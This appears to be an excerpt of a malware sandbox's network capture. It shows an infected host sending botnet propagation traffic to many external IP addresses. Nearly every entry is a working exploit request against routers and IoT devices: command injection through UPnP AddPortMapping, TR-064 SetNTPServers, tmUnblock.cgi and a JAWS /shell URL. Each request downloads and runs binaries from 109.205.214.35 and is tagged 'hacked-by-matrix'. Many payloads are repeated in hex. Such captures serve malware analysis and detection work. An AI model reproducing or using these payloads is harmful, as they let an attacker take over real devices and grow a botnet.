41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:03.084240913 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:09.229317904 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:21.260282040 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:47.120243073 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
832	192.168.2.13	39556	172.65.42.146	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.943375111 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
833	192.168.2.13	60744	172.87.206.231	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.951638937 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
834	192.168.2.13	56544	99.246.84.236	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.978089094 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
835	192.168.2.13	34134	67.7.83.11	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.979315042 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
836	192.168.2.13	38426	24.217.75.74	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.995424032 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
837	192.168.2.13	38064	75.84.243.104	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.023372889 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
838	192.168.2.13	45336	172.65.129.80	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.043400049 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
839	192.168.2.13	59222	146.148.159.118	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.043416977 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:00.844252110 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:01.804229975 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:03.693459034 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
